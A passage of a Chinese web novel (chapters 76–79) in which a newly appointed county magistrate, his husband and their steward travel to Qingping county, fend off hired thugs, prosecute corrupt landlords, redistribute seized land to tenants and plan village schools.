“那几个老家伙商量出什么没有?”宋月隐打到了应州,就一直负责收拾清平县的麻烦,两月下来,不少毒瘤都被宋月隐不动声色的除了。 “还是老生常谈,想着给东家送钱。” “这些老家伙手里钱没多少,但田产却占了县里三分之二,个个手脚也不干净,还指望东家和他们同流合污?”宋月隐知道东家不是嫉恶如仇的性子,但也绝计不会和这等商人扯上关系。 “宋管事明察秋毫,有几家私下里给百姓放印子钱,侵吞了不少百姓的田地,逼得大部分农户都去做了佃户。 还有不少人家,卖儿卖女到富户家做奴婢,只是上一任县令不管这些事,由得他们作威作福。” “本朝放印子钱都是要坐牢的,正好东家过来杀鸡儆猴。”最要紧的还是地,这些富户坑蒙拐骗来的田地,就跟貔貅一样只进不出。 “只是证据不好拿,宋管事也知道,地里做事的人家一向死脑筋,因为地都在富户手里,佃户为了有地可种必然是不肯坦诚相告,想要拿他们的把柄不容易。” “不容易?我看再容易不过,我不信这些富户会是什么善人,想来囤积这么多田地必然手里沾了不少血,你且打听打听哪些人因为田地的事被害的家破人亡,他们就是证据。” 手下的人一点就通,立马出门去打听。 宋月隐翻看衙门偷出来的黄册,清平县近些年人口一直不增反降,说明县里的蠹虫不止一位。 不过近些年西南各地的人口都没怎么增加,清平县一处好料理,可想要料理整个西南,就有些痴心妄想了。 至少她办不到,东家回来,也不知能不能想到什么好法子。 第76章 早春的江水泛着寒气, 几艘大船在江上行驶的速度不快,沿道都是青山绿水,得空开窗看一看, 也颇悠闲自在。 “厨房送饭过来了。”尚柒提着食盒放在屋里的桌上, 走到窗口, 探了探别此云的脸颊, 已经开始冰凉,“下午不许再坐窗口了。” “那下午我们干什么?”船上的日子实在无聊,要说整日看书,别此云是看不下去的,哪怕是杂书看的多了, 眼睛也疼。 “五子棋、叶子戏、麻雀牌, 你想玩什么都行。”时下娱乐自然没有那么丰富, 但寻一两门打发时间的项目也不难。 “除了五子棋,都是赌博的把戏, 你善此道?” “会玩一点,但遇上高手难免折戟沉沙, 而且我不赌钱。”这些玩意不过是家里长辈会玩, 有时候他被拉到牌桌上凑数, 耳融目染下学会了一些。 “还当你是高手。”别此云话里有几分失落。 “你是高手?” “算是, 小时候专门请人教过, 而我恰巧又有点小聪明,学的不错。” “棋逢对手是不成了, 但你可以教我。” “好啊,只要你想学。”别此云说着见桌上又是鱼,皱了皱脸,已经连吃几日的鱼了。 当然了, 他也知道在船上不能要求这么多,每日还能有肉食都是因为江上好捕鱼,若走陆路,半道上前不着村后不着店,只能生啃干粮。 “明日会在路上停靠,到时候会下船补给,你若嫌江上无聊,我们也可在当地停留一日,休息休息。”这次出行时间算的很宽裕,路上耽搁的起。 “也好,船上沐浴不方便,虽然冬日可以偷些懒,但几日未曾沐浴,有点不舒服。” “走陆路,隔一两日倒是能寻到歇脚的城池,方便洗漱换衣,但没有船上这么舒服,有舍有得。” “你说我们有生之年能见到更便利的交通工具吗?” “自行车可以想想。” “飞机不能想就算了,为什么汽车火车也不能想。”蒸汽汽车和蒸汽火车,还有蒸汽轮船,都需要蒸汽机。 难道他们有生之年都造不出蒸汽机吗?那听起来后半辈子也没什么盼头。 “因为大历没那么多人才。”大历文盲率太高了,除了世家,寻常百姓能有几个认字的都是稀奇,他们最开始要做的就是扫盲,至少把基础字给认全。 这是一个长期过程,更不说物理化学生物这类压根没成体系的学科。 “说的也是,那咱们到了清平县,是要先进行扫盲吗?繁体字学起来费劲,简体字更容易,但这是个大工程,光靠咱们可能不成。” “文字的事交给更专业的人做,我们要做的是先从清平县富户手里拿回更多的土地分给百姓。” “现在就开始打地主分田产是不是太早了?”至少他们还没大张旗鼓起义,这么做很容易引起富户反扑。 “放心,都是合法行为。” —————————— “要不,我还是调兵下来走一趟,直接把这几家都给围了。”蔺肃看过宋月隐整理的清平县富户犯罪证据,建议道。 “冒充哪家府兵?”西南因为出了西南将军的事,对调兵遣将极为敏感。 “哪家都冒充不了,现在各州县看管府兵极为严厉,但光靠县衙门那点人手,想要一口气拿下这些富商,只怕不容易。” 不说这些富商养的打手,光是多年来收容的奴婢数目都不小,一个小小的清平县就能容纳这么多土地主,不知到了州府又是怎样的光景。 “兵不贵多,贵在精,你只需给我调遣几个能干的人手,私下我就能把这事办好。” 擒贼先擒王,宋月隐是不会和这群家伙正面交锋,只需选个黄道吉日,再许以利诱叫他们自己出门,就能拿下。 当家做主的都被抓了,难道府里还能一块铁板不成? “你是想打他们个措手不及?也不是不行,只是人一口气全抓了,你打算关押在哪里?县衙的地牢数量可有限。”蔺肃清楚宋月隐想在东家到清平县之前,将清平县扫平,但太急迫容易出纰漏。 “抓一半放一半,你知道东家一惯不喜欢连坐这一套,我只管抓犯了罪的。”大家族里,不说每个人手里都干净,但也有无辜者。 蔺肃沉思片刻,点头:“是个挑拨离间的好法子,想来县里其他富户该要人心惶惶了。” “不做亏心事,不怕鬼敲门,往上数几代的罪行咱们干涉不了,但近十几年的祸事还是能拿出来算算帐,就是不知道县里那几位听不听话了。” “且看他们手里沾没沾血,实在不成就等东家过来再处理,总得给东家留点事做。”蔺肃酸溜溜的说,实在是他一个文人替东家干了多少军营的活,若非是没那个军事天赋,他这会说不得已经成号令一方的将军了。 “东家过来有的忙,这点小活还是咱们办了好。”宋月隐丝毫不觉得累,还精神奕奕的给自己加班,叫蔺肃看的哑口无言。 同僚一个个都太卷了,他只做分内之事不是显得很咸鱼。 “那你说我要不要把隔壁黄谷县料理了?”虽说东家只管清平县,可军营就在黄谷县和清平县之间,两县若是攥在自己手里,还怕有人发现他们私下屯兵吗? “可以先打听打听黄谷县的县令是什么性子,若是阿谀谄媚之辈,早晚会来清平县讨好咱们东家,咱们插手也是理所应当。 但要是刚正不阿之辈,还是不宜过早插手,好官还是要拉拢。” “是这个道理,但我瞧着整个大历,能算得上好官的没几个,咱们碰上的概率小之又小。” 就说东家夫郞家,在长安也是能够呼风唤雨的世家,又都是学儒的,对治世该有抱负,但实际上,别家对底层百姓的关心不多,更多还是为太子和其他皇子争权。 “总有沧海遗珠,东家要干大事,同行之人越多,咱们才越有可能成功。” “但愿如此。” …… 江上行走不过三五日的功夫,已经出了长安的地界,路过休息的县城,风貌也全然和长安不同。 尚柒一行人从江船上下来,只带了些基本的人手,其余人都还留在船上,补给也是各船派了几个船夫下船采买。 “县城比我想的要冷清。”别此云十几年都在长安呆着,哪怕手下商队走南闯北带回来不少消息,却也不如自己亲眼看见来的真实。 “这座县城靠江,来往商船多会在此地停靠补给,已经比许多县城要热闹了。”尚柒一路从礼县到长安,路遇不少县城,有的白日说是死城也不为过,像长安那样热闹的城池,全天下也只有洛阳能比一比。 到了落脚的客栈,小二立马过来招呼,凡是有眼睛的都能看出这一行人身价不菲,莫说食宿钱,就是打赏都够一家吃喝一月的。 “县里会有黑店吗?”别此云问的小声,他在通俗文学中常见的黑店,都是道上的驿站,前不着村后不着店才好下手,而县里因为人来人往,下手宰客第二日就能寻来官差,得不偿失。 “你问的是哪种黑店?杀人越货县里的客栈还没这个胆子,不过提价宰客或是偷客人行礼的客栈不罕见。” “你被宰过吗?” “我来长安时,身边跟着三四十个青壮,客栈也怕我抢劫他们。”尚柒说着忍俊不禁,世上还是识时务的人多。 “如今呢?”别此云算了算他们一行不足十人,还带两个小的。 “就看我们的行头,客栈不提价都是不可能的。”做生意,哪些人有钱赚,哪些人没钱赚,一双招子能看出来的。 对于提价尚柒没办法,毕竟他们只留宿一日,不可能大费周章的去打听客栈原价,不过一般客栈都不敢做的太过分,因为再有钱也不能是个傻的,别人要多少给多少。 “我还没被当冤大头宰过。”别此云做生意只有别人吃亏的份。 “唔,我记得之前卖你的那批药材,可是提了两成的价。” “卖出去我又没亏,再说,只投资两成价,换一个无价的盟友,再没有比这划算的买卖。” “得了钱财,还得了一个伴侣,我也赚大发了不是?”他何止没亏,还人财两赢。 “双赢就是如此,下午我们去县里逛逛如何?”船上待的久了,到了陆地,别此云不想一直窝在客栈。 “可以,但出门别离开我。” 别此云大概知道尚柒担心什么,想了想:“若害怕欺善霸恶之徒,我们再带上张三他们。” “可以。” 收拾一番,又寻了张全武几人过来,尚柒就带着此云出了门,两个小的是对沿路的县城不怎么感兴趣,当初从长安过来的时候已经见多了,便打算在客栈好好睡一觉。 之前在船上,他俩虽然不晕船,但夜里睡觉船荡来荡去的,总睡不安稳,这会子靠了岸,恨不能睡个昏天黑地。 县城不大,除去集市比其他地方热闹点,基本没什么可游玩的,自然青楼赌场这等生意,只要人口聚集必然就有人做,但这等地方尚柒不打算带此云去见识。 路过粮店布行的时候,尚柒和别此云不约而同的停下来,打算进去瞧一瞧。 第77章 大历的粮价还算稳定, 比起开国的斗米低至四文,如今大概在斗米二十文左右,这里的米自然不是精米, 一般人家也吃不起一整年的精米。 长安的粮价尚柒走的时候还是斗米二十文, 出了长安地界, 难免想多打听打听。 “斗米三十文。”比长安高了十文, 且米一看就是陈粮,“店家,粮价何故这样高?” “客人有所不知,去岁收成不好,农户缴了秋税, 再留够一家子吃喝的, 再不剩多少, 卖到咱们手里的更少,粮价自然就涨上去了。”粮铺的店家好言解释。 “去岁不曾听闻出过旱灾、虫灾, 粮食如何收成不好?”尚柒手里的商队一直在长安西南两头跑,一路上哪里有灾情不该没听说过, 且真要是出现灾情, 这粮价怕也不止涨这点。 “不是天灾。”粮铺老板面色复杂的解释了一句, 但又不肯细说。 尚柒和别此云对视, 不是天灾就是人祸了。 “是县里的人做的?还是村里人做的?”其实不必问, 也知道是谁做的,又非天灾, 农户之间没有大矛盾,基本不会起争执导致粮食减产。 “我看客人来历不凡,像是只路过咱们县,许多事还是不要打听为好。” 尚柒和别此云从粮铺出来, 都心事重重。 “地方闹出粮食减产的事,县官却毫无作为,明年若还如此,恐怕会出事。” “我猜是县里富户想要侵占田地,但农户不上当,以至于私下做了些手脚导致田地减产。” 许多农户田地不丰,一年到头种地也不过只够温饱,一旦田地减产,就有可能养不活一家人,到时卖儿卖女者不在少数。 “看来少不了官商勾结,咱们要管吗?”若说遇上劫匪流氓这等事,他们路见不平拔刀相助并没有什么负担,但他们只在县里待一日,想要解决其中弊病根本不可能。 “管不了。”尚柒摇头,“真要是想管,可以等我们到了西南,遣人过来私下查一查,再议。” 别此云忧心的点头,知道尚柒说的有道理。 “也不知道我们沿途会遇上多少这样的情况。”一个县城如此就罢了,每个县城都如此,他和尚柒只怕也是心有余而力不足。 “这样的情况并不罕见,大历已经有两百余年的历史,本就在走下坡路,盛世都还有不平事,更何况如今。”先前过来长安的时候,他路过不少城池,虽没有细打听,但只要有眼睛,也能看出一个县城究竟是好是坏。 州府这等大城池瞧着还像模像样,小县城就不好说了。 “嗯。” 待二人走过大半县城,就准备原路返回,不想竟遇上一伙劫道的。 “光天化日,在县城也会有土匪拦路?”别此云低声同尚柒说话,他并不害怕,对方一行人不过七八个青壮,虽比他们人多,但瞧人下盘,就知都是些地痞流氓,没什么本事。 “不是土匪,像是替人办事。”他和此云虽是轻装简行,但衣裳也能看出不便宜,更不说身边还跟着几个人高马大的护卫,一般小门小户的人家都知道惹不起。 “不知诸位为何拦住我等的去路?”尚柒冷眼看着,就见这几日的目光落在他和此云身上,尤其是落在此云身上的目光,他不喜欢。 “我家少爷有请二位吃宴,还请二位赏个脸。” “不知是哪家的少爷,我们是从长安过来的,在此地不曾有认识的人。” “你自不必认识,我家少爷不过是想认识认识你身边的公子,若你识相,只管跟我们走,事成必不会少了你的好处。” 不为求财,就为求色,尚柒不等人话落,就直接一拳攻过去,打中方才说话人的鼻梁,只听得一声哀嚎倒地,吓的对面其余几人脸色大变。 “收拾了。”尚柒冷声下令,张全武几人早就摩拳擦掌准备好,一个纵身就将几个想要逃窜的地痞拉回来,几拳下去,便再没站起来的。 “我瞧他们不是富户人家的下人。”别此云等人全倒地走上前。 “他们背后之人不知道你我身份,派遣这些县里的恶徒寻事,也不过是试探我们的底细。” “若是成了,他们不怕报复吗?” “此地常年有商船往来,但大多都是商户,想来他们没少做这等事,只要没踢到铁板,大抵越发猖狂。”眼前这些地痞流氓不过是替罪羊,真得罪了贵人,背后的人也能推脱。 “扭送官府?” “自然,还要抬一抬岳父的身份。”不说借别家的势将背后之人连根拔出,但肯定眼前这些人必会被料理。 尚柒并不可怜这些地痞,在他们之前,说不得害了多少人的人命。 “天下还是好色之徒不计后果,我还不曾被拦路打劫,今日倒是有幸体验。”在长安,世家纨绔也只敢招惹寻常百姓家的孩子,尤其像别此云这样身份的公子贵女,除开皇亲国戚都是不敢招惹的。 “也不是什么好体验,虽说我管不住别人脑子里想什么,但一想到有人私下恶意臆想你,就有些手痒。” “我也手痒,方才你该叫我也打上一拳才是。”他虽然没习过武,但打人的力气还是有。 “我认为你不会喜欢血溅到拳头上。”尤其是鼻血。 别此云闻言看了看被张全武几人捆起来的地痞,认同的点头。 “咱们回客栈吧,等张三他们将人送到衙门,说不得当地的县官还要拜访咱们。”别此云一副期待的语气,想是准备找人麻烦了。 “说不得明日一早,还有人送咱们赔罪礼。” “这礼我可不收,晦气。” …… “阿兄,你们下午出门可遇上什么有趣的事了。”尚乌桕揉了揉眼睛,打了个哈欠,一下午他在客栈休息,睡得实在太香了,先前几日在船上的疲惫简直一扫而空。 “没遇上趣事,不过遇上了拦路劫道的。” “什么?什么人敢打劫你们。”阿兄年少,身量不显也就算了,张大哥几人看着可就是能打的。 “地痞流氓,不过已经扭送官府了。” “别哥哥,你没事吧。”尚南枝担心的看着别此云,她们从西南过来的时候都没遇上劫道的,怎么在县里遇上了,虽然知道阿兄的本事,但万一吓到别哥哥了怎么办? “没事,你阿兄站在我前面,一拳就将劫道的打倒在地,都没靠近我三尺之内。” “那就好,只来县里一日都遇上这样的事,想来这县里也不太平,明日咱们还是早些离开为好。” 正说着话,琴砚就过来说客栈下有人来找。 不必提,自然是此地的县官,尚柒和别此云理了理衣裳下楼,就见身着浅绿色的官袍的县官,卑躬屈膝的在门口等着。 “可是尚大人,我是本地县令全丛。”全丛瞧着年纪不小了,这把年纪还没从县令的位置脱身,之后多半也升迁无望。 “全大人过来可是今日几位地痞流氓已经料理了?”尚柒开门见山的问。 “尚大人放心,必按律严惩,今日叫尚大人和令夫郞受了委屈,若是不介意,且叫我为二人准备一顿接风洗尘的宴席,好做赔礼。” “不必了,此次赴任有时限,本也只打算在此地停留一日,明日一早离开,遇上这等事不过偶然,全大人不必放在心上。” “这……” “若全大人真的过意不去,何不好好审一审这些地痞,他们说是奉了某位少爷的命,要请我过去认识,我却不知别家在此地还有亲友。”别此云温声细语的一番话,却叫全丛后脊发凉。 “别公子放心,我自会亲自审理,给别公子你一个交代。”全丛这时候不敢否认地痞后面还有人,毕竟眼前两位亲耳听到,难不成他能抵赖听错了。 别家可不是什么小门小户,不给个交代只怕这事没完。 “全大人这样说我自然放心,不过眼下我和夫君走的急,怕是见不到究竟是谁要和别家攀关系,还请全大人审查好了,改明儿送信到长安,给我父亲兄长过过目。” “应该的,应该的。”全丛不曾和世家娘子郎君接触过,一般遇上的姑娘哥儿,就是富户出身,也多是不敢和当官的如此言语。 今儿遇见真正世家出身的公子,方才知道,一般官员在他们眼中也不过如蝼蚁一般,不值一提。 “即如此,全大人还是早些回去审案的好。” “时候的确不早了,在下便不打扰尚大人和别公子休息。” 全丛来的快,走的也快,瞧着马车不见踪影,尚柒和别此云才满脸笑意的回客栈。 “你把人吓的不轻。” “不吓一吓他,又怎么会全力帮我们做事,说不得背后的人就和他有过勾结,我们一离开,他就轻拿轻放,岂非是助纣为虐。”别此云一向不喜欢吃亏。 “今晚咱们得小心些。” “怎么?难不成他们还要狗急跳墙,直接杀了我们灭口不成?”若是今日的事顺利办了,顶多折一个纨绔子弟给别此云赔罪,真要是敢动手杀人,只怕九族都不够别家报复的。 “不至于到那个地步,但万一遇上脑子不好使的人,总不能算我们倒霉。”尚柒在西南没少遇上蠢人。 “也是,世上总有蠢人灵机一动。” 第78章 翌日。 昨夜客栈太平无事, 守夜的部曲也纷纷活动了筋骨,等吃过客栈准备的朝食,就回船上歇息。 “平安夜, 可见对方不至于蠢到底。”别此云打开客房的窗户, 望向没什么人的街道, 昨夜他其实没怎么休息好。 “看来也不止我们担心有人犯蠢。”尚柒站在别此云身后, 用手指了指街上几处位置,都是藏人的好地方。 “全丛的人?” “嗯,他也怕我们在他地盘上出事。” “如此,咱们守夜是守对了。”全丛都担心闹事的人想要谋杀他们,可见的确不是什么聪明人。 “县里不能继续留了, 吃过朝食, 我们就离开。” 有尚柒发话, 一行人收拾的很快,几乎天刚放亮没多久, 江船就重新升锚,继续往西南去。 而全丛收到尚柒一行人离开的消息后, 也忍不住长舒一口气, 但人走了事却不能不办, 别家公子亲口告诉他, 叫他寻了闹事之人再给长安递消息。 若别家公子贵人多忘事也就罢了, 若是小心眼的人,他不给别家去信, 之后寻他麻烦可怎么办? 也是怪县里这伙富户作威作福惯了,以为什么人都能得罪,的确该给他们一个教训,今日只得罪了一个世家公子, 明日若是得罪什么大官,他焉能保住自己的乌纱帽。 …… “光天化日,竟然遇上了这样的事。”樊泊皱眉,说起来他们一家因为行动不便,一直留在船上,没想到东家竟遇上这样的麻烦。 “可不是这么说,在长安,但凡有眼睛的都不会这样得罪人,没想到一出了长安,什么牛鬼蛇神都冒出来了,幸亏咱们没下船,不然遇上地痞无赖寻咱们的麻烦,还要东家出手相助。”汪氏说罢也是心有余悸,没想到出了长安,世道竟这样危险了。 “唉,长安本就是天子脚下,必然要比其他地方太平许多的,像往年征兵都少有征长安附近的青壮。”樊老爹年岁大些,见识也更多,年轻时候也是经历过朝廷招兵打仗。 “爹说的自然是,只是不晓得西南太不太平。”汪氏担忧的摸了摸小女儿的头。 “都已经上船了,不必想这么多。”樊泊宽慰妻子,“东家不是说到了清平县,会请夫子给咱们的孩子上课,平日他们去学堂,想来遇不上麻烦。” “说的也是。”汪氏最感谢东家的,就是能叫小女儿也去学堂,天下儿郎识字的不多,寻常人家的儿郎认得几个字,就已经顶天了。 女儿家,就是地主老爷都不见的会请夫子来教,姑娘哥儿能认字的莫不是出身世家大族,她们寻常妇人郎君是想都不敢想的。 而樊泊考虑的更多,一出长安就能遇上这样的乱象,西南之地只怕更不太平。 东家手中有兵,究竟是西南已经乱起来准备自保,还是说打算一举谋夺西南。 —————————— 清平县。 往日不怎么热闹的县城,今日但凡手脚俱全的,都上街看热闹来了。 “县衙的官差和府兵如何出动了,还去了县里几位富户家里?” “抄家没听说过?” “听自然是听过,但咱们县何时有官差抄家的,不是说县里富户同县令关系好,先头许家那个霸王,当街抢了一位妙龄女子,她家里人去报官,县里不还把她家里人抓起来关了几日。” 这样的事在清平县没少发生,百姓也都学规矩了,知道和富户作对没出路,都夹起尾巴做人。 “上一个县令如此,但去岁他不是任满调离了吗?指不定就是新来的县令看不惯官商勾结,要给咱们百姓伸冤呢。” “可得了吧,自古官商哪有不勾结的,说不定是县里这几家没给新县令送够钱,惹恼了新县令呢。” 围观百姓争论不休,都在说这位新县令究竟是个什么人,怎么人还没到清平县,就开始办事了。 “宋管事,牢里人满了。” “满了就挤一挤,我算过,不至于人满为患。”宋月隐在县衙端坐着,衙门的县丞和县尉讨好的站在一旁。 “诶,那宋管事,案子咱们什么时候审理,是不是等尚大人和别公子过来再说。”县尉主管治安,品级不过从八品,是衙门为首三个官里最小的,一般没有说话的余地。 “早说了,大人在路上,请我等先一步平了县里的乱象,案子自然越快审越好,虽说秋日还迟,但这伙人,杀头的不少,到时候送去长安审批,还需用时间不是。” “宋管事说的有道理,那明日咱们就开始审案,至于抄家来的东西……”县丞说不惦记是假话,为官平日没少收孝敬,但哪里比得上县里富户有钱? 再一个,上一任县令是个饕餮,富户的孝敬大半都叫他拿去了,他们手里只一点油水,这会富户家被抄了,再怎么样也该给他们点甜头才是。 “抄家来的东西自然该充公,再一个这几家牵扯的案子无数,许多苦主求告无门,总该给人些补偿,怎么,两位难不成也是受害人,若有什么冤情只管说出来,等案子审完,必给足二位赔偿。” 县尉和县丞面面相觑,说他们是受害人也没人信啊。 “宋管事严重了,我等不曾受过他们欺压,只是按例询问,也好叫人入账。” “入账的事就不劳二位操心了,我手里有的是会做账本的账房。” 眼瞧着宋月隐连账目都不叫他们碰,在清平县当土皇帝当惯了的两位面色发青,但又不敢甩脸子。 眼前这位管事娘子,不似大户人家掌管中馈的,明眼人都能看出来人本事不小,她能迅速接管衙门,还叫衙门里当官的马首是瞻,必是有雷霆手段。 更不说宋管事身边跟着的护卫,一个个能打的很,三五人就能掀翻整个衙门的人手,衙门的人哪有不听的。 为此清平县浩浩荡荡的抄家行动持续了好几日,平日不见升堂的公堂,也连轴转了好几日,因为县令不在,县丞自然成了案子的主审人。 也不知宋管事哪里找齐了这样多的苦主,一旁的讼师更是从天亮说到天黑,记录案卷的主簿,也是忙的连擦汗的功夫都没有,只管奋笔疾书。 宋月隐虽然没出面,但县尉和县丞都知道人在后面听着,也不敢耍小动作,老实按照常规程序,一件件走过场。 也不知道是不是他们平日不管事,几日听得源源不断的百姓斥责被抓富户的恶行,都忍不住后脊发凉。 说他们是什么好官,那是假话,但比起先走一步的县令,他们二人还算有几分良知,眼下一口气听完这样的恶事在他们管辖发生,他们却无动于衷,也被吓的不轻。 不知尚大人到了,要如何处置他们。 “田地大约有三分之一被咱们收了回来,还有三分之一,被紧攥在其他富户手里,说来这些富户比起抓来的,要好一些。” 不是说他们一口气就把县里所有犯事的都抓了,只是先将罪大恶极的几家拿下,其余的看情况或抓或放。 “田产且先不动,继续交给佃户打理,马上春耕了,耽误不得。”种地就看天候,迟一日早一次说不得就影响收成。 “那是否和佃户重新定契?” “定契的事也得等东家过来商议,只管告诉佃户,这些田地如今归公,租子是要收的,但不会多收。” 有这几日雷厉风行的审案,新县令是好官的名声已经传遍整个县里,宋月隐这时候给佃户发话,或许佃户们还将信将疑,但也不会有太大的反抗情绪。 “那咱们带过来的种子是不是要给百姓推广一番。” “暂时不用,新种想要推广不是容易的事,当初在礼县,东家也是先在自己的田地种过,才叫其余人见到好处跟种。 眼下咱们在清平县根基尚浅,一来就强迫百姓种咱们的新种,农户抵触不说,私下必会阳奉阴违,得不偿失。” 新种产量更高,单说出去是没人信的,毕竟寻常百姓大部分还是对天上掉馅饼的好事有几分警惕。 “轮作肥田之法呢?” “这个可以试试,就在佃户中推广,告诉他们,若愿意按咱们说法种地的,日后收成少收他们一成租子。 不过话要说明白,不愿意用咱们的法子就算了,用了若是敢阳奉阴违,被发现就收回他们佃的农田。” 宋月隐可是知道农户的狡猾,不把话说清楚,私下搞小动作的必不会少。 手下的人应了,就带人去各村落通知消息,如今县衙门几乎都被宋月隐带过来的人占领。 原本县衙门做事的人,都纷纷做鹌鹑,既不敢冒头,也不敢消失,没看县尉和县丞都夹起尾巴做人,他们这些小鱼小虾如何敢蹦跶。 宋月隐翻看过县衙门做事人的资料,几乎都是裙带关系,凭真本事混上编制的几乎没有。 这些人必然是不能留的,手脚不干净的肯定逃不过牢狱之灾,就是不知道东家是打算用礼县过来的人填衙门的空档,还是打算在县里招人手。 第79章 “当家的, 县里来人怎么说?”孔郎君自县里几家富户被抓之后,整个人都急的团团转,因为他们家正是被抓富户中一家的佃户, 如今老爷连家都被抄了, 地自然也是要被收回去的。 可他们一家, 光靠自己那一亩三分地莫说养活一大家子, 连温饱都解决不了,若是地官府不给他们种了,就实在没活路了。 “县里来人说了,地还是照常给种,等新县令过来, 会给咱们重新定契。”马大郎说着咕嘟咕嘟喝了一碗凉水。 “那租子如何说?”孔郎君心放下一半, 地给种就行。 “没具体说, 只说不会比先前高。” “这口头的话如何作数,万一咱们种了, 租子要收咱们大半去,咱们如何能和官老爷斗。”听到租子没说定, 孔郎君放下的心又提了起来。 “就是收大半去, 咱们难道就不种了吗?” 孔郎君一顿, 是这个道理, 如今是他们为了活命求人, 便是收去大半收成,他们也得种。 “这些日子, 县里抓富户的事闹的沸沸扬扬,我瞧着新县令是个好的。” 孔郎君点头:“前两日还有县里的人到村子询问,说是从前遭了这些富户欺凌的只管说出来,我瞧村长都带人说话, 也把咱们家被逼着卖田的事说了。” “大家都说,咱们说了也就说了。”马大郎是晓得几位贵老爷八成出不来了,不怕人报复,“我还有件事想要和你商量。” “什么事?” “今日县里过来的人不光说了租子的事,还说有新的种田法子,若是照着做,秋收就少收一成租子。” “这……”一成租子不是小数,但种地都是祖祖辈辈传授的经验,一个不甚地里粮食都会减产,突然用新法子,谁也不敢保证粮食产量还和原来一样。 “我想试试,也不全用,若真的新法子能得更多粮食,咱们今年也能有个好收成,毕竟家里老大年岁也不小了,再不攒些钱,亲事都说不上。” 孔郎君听当家的这么说,也是咬牙答应,实在是家里一年忙到头,连歇息的功夫都没有,还是攒不下钱,今年若是县令的法子有效,怎么他们家也能多收一些粮,秋日卖出去,给老大攒点彩礼钱。 和马大郎家一样情况的不在少数,因为一成租子想要试试的人也不少,只是大部分只肯用一两亩田来试验,多的是不肯的。 且有小心思,准备阳奉阴违的人,瞧着县里在耕种时会专门派人过来检查,也都歇了弄虚作假的心思。 “宋管事,苦主的名单咱们整理出来了,这给赔偿要如何定。”抄了几家富户,方知这些人实在富得流油,银子都是一箱箱往外抬,还不算其他珠宝。 “分上中下三等,少给金银,多给一些布帛粮食,若他们要卖粮,只管到咱们开的粮铺卖,都是公道价。” 有宋月隐发话,县里的人手都只有听吩咐的份,瞧着每日送去村里给户人家的东西,有眼睛的都眼馋的想要藏私。 偏每只队伍都有宋管事带来的人,哪个私下想要吞百姓的东西,不必等尚大人过来,第二日便能吃上牢里的清汤寡水。 所以等尚柒的船到清平县的时候,县里的百姓都已经真心实意认为他是个青天老爷,尤其是家里有血海深仇的人家,瞧着新县令还没来就派人还他们个朗朗乾坤,更是恨不能日日去衙门外磕头,以表感激。 清平县衙。 “这事你处理的很好,赔偿送出去后,可有发生过偷窃之类的事。”尚柒一到清平县都没来得及休息,就开始翻看宋月隐整理的资料。 “虽把金银换成了粮食布帛,但总还是有人觊觎,东西送过去的时候,我吩咐人叮嘱各家看好东西,但还是有被偷了的,不过都是同村行窃,行窃者也多是不事生产的地痞瘪三,查清楚后都送到牢里了。”早知赔偿送出去,必有眼红使坏的,宋月隐当然早有防备,目前还没见为钱财闹出人命。 “听闻牢里如今人满为患了?”尚柒笑着打趣宋月隐。 “一个小小的清平县,犯杀头罪的人都要挤满牢房,当地的官员该好好反思才是,竟还敢到东家你跟前告状。” “明知是死,总要垂死挣扎几下,明日我会着手将县里的人都处理了,空出来的位置,你且问问手下的人有没有想做的,没有我就在县里挑人。” “能替东家做事,他们在哪儿都愿意,只是县里全用咱们的人,百姓会不会有意见。”到底是外来户。 “百姓不会关注县里做事的都是谁,县丞和县尉都是正经官职,想要处理他们需要走程序,但人我先关押了。”有宋月隐打的好底子,尚柒过来接手很容易,“礼县那边都还好吗?” “只我和蔺肃来了应州,其他人都留在礼县,如何能不好?只是大家伙都念着东家,当初东家你一走,我们都还当你是打算去长安见识见识,哪想竟然去了大半年不说,连亲都成了,东家你是不知道,县里晓得你成亲的事,多少姑娘哥儿都哭了半宿。” 宋月隐不厚道的露出微笑。 “你又没去他们房里守着,怎么知道就哭了半宿。”尚柒无奈,这样说弄得他好像是什么负心薄幸的人似的。 “不必去看,只瞧第二日有多少姑娘哥儿红肿了眼圈,就再明白不过。 我过来的时候,其他几位管事都还想问东家什么时候派他们来应州,他们也好见见东家夫郞。” 宋月隐已经见过东家夫郞了,要不说是大家出身,模样比过西南她见过的娘子郎君不说,气度也不是一般娘子郎君有的。 “之后有机会,对了,叫礼县书院送一些读书人过来,接下来我准备在清平县也开设私塾。” “也开私塾?是只管县里,还是也管村里。”礼县小一辈的孩子都是有书念的,就是姑娘哥儿也不例外,毕竟免费读书,认了字还能到尚家做事,就是不拿姑娘哥儿当人看待的人家,也会衡量利弊。 “自然都管,不过私塾不光开在县里,村里也会有,我看过各村在舆图上的位置,也翻看了黄册统计的各村人口,正好三个村子合一个私塾。”村里到县里有的近有的远,私塾总不好全开在县里。 “我这就着人去安排。” 宋月隐一走,尚柒将手里的资料看完后,就去了清平县的宅院。 原本县衙后面是可以住人的,但宋月隐知道东家习惯,还是在县衙附近给置办一套清雅的小院,不算大,但东家一惯独来独往,就是加上东家夫郞身边伺候的人,也住的开。 回到府里,尚柒就看见此云也不得空,正在翻看自己的产业,将长安大部分产业搬迁到西南不是小事,虽小半年前就已经开始,但别此云一直没到西南,都是手下管事在负责,今日过来,必有的事要忙。 “县衙的事处理好了?”别此云动了动手腕,一路乘船到应州,要说一点不累也是假话。 “大部分事月隐都帮我处理了,现在我接手可以说不必管县里先前的杂事,直接办我们想要的事。” “选好私塾的位置了吗?” “路上就考虑的差不多,县里的私塾可以尽快动工,村里的须得等春耕过去。” “何不直接用县里的青壮?” “若不叫本地人参与,他们如何有认同感,再一个村里出去种地,少有其他能做的活,想来日子过得困苦,若是能够给一些活叫他们攒些钱,也是好的。” “是我着急了,你考虑的周到,我听说县衙囚犯人满为患,你既要办私塾的事,那囚犯给我,我正好用他们整合县里到各村的土路。” 要想富先修路,无论如何路是要修的,除开官道,一般村子到县里的土路都是人和牛车走出来的,比不上官道。 “用他们恐怕不如等私塾修好后青壮腾出手。”牢里不是养尊处优的富贵人家,就是不听管教的地痞无赖,哪个都是不好管的,真要他们修路,半日功夫,富户得倒地不起,地痞半点活也不见干。 “只管交给我就是,要他们乖乖听话并不难,虽说如今每日给他们的伙食都是清汤寡水,但想想他们犯下的恶行,还要我们出钱养着,不觉得憋屈?” 修路历来是苦差,若是给钱自然也有百姓来做,但有现成不必给钱的犯人,不用白不用。 “你若有信心,只管去衙门提人,唯有一点,别轻易弄死了。”虽然里面有的是人死不足惜,但眼下他走正规程序报去了长安,死刑犯秋日问斩都要送去长安行刑,死在县里不好交代。 